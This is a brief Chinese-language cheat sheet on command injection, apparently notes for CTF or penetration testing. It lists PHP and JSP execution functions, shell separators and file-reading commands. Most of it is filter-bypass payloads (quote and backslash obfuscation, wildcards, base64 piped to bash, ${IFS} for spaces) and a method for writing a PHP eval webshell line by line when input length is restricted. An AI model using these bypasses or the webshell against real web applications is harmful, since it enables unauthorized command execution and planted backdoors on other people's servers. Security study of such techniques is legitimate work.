常见函数

PHP:system、exec、shell_exec、passthru。
jsp:Runtime.getRuntime().exec(“ls”)。
因为exec是不显示结果的,如果是exec命令执行,那么有两种方法:一个是把直接结果放到某个文件,然后读取。另一种是:?cmd=echo $_POST[a]; 反引号可以直接命令执行,然后echo输出。

分隔符

  1. - ;:分号前面的执行完,再执行后面的,顺序执行,结果都显示。(linux特有)
  2. - |:管道符,两个都执行,但是只显示后面的结果。
  3. - ||:双管道符,和or的逻辑一样,如果前面的执行成功,则后面的不执行。
  4. - &:连接符,前面的为真,才会执行后面的。
  5. - &&:双连接符,和and的逻辑一样,前面的为假,后面也不执行。

所以分号和管道符是最好直观好用的,但是一般会被过滤,只能尝试其他的。
Linux下的分隔符还有单引号’,-,<>,$,%0a,%0d。

读文件命令

Linux花式读文件:cat,tac,more,less,head,tail,nl //,string,paste等等。

绕过

分号;,|,||,&,&&
畸形绕过:cat —>ca\t,c’a’t,c”a”t,tac,ta\c,t’a’c,t”a”c。
通配符绕过:key.php —>k?y.*
base64绕过:echo “base64命令” |base64 -d |bash
变量拼接绕过:$a;$b;a=ca;b=t;$a$b
过滤空格:%09,%0d,%0a,${IFS},$IFS$9,都有空格的作用。
过滤chmod:c’h’m’o’d。
写shell如果限制了长度:可以通过>>追加的形式,一段一段写进去,下面的每行都比较短。一段一段写入:
echo ‘<?php’ >>s.php

  1. <?php
  2. $a=eval;
  3. $a($_GET[a]);
  4. ?>

分号被过滤:使用?>代替。
key.php被过滤了:ke?.???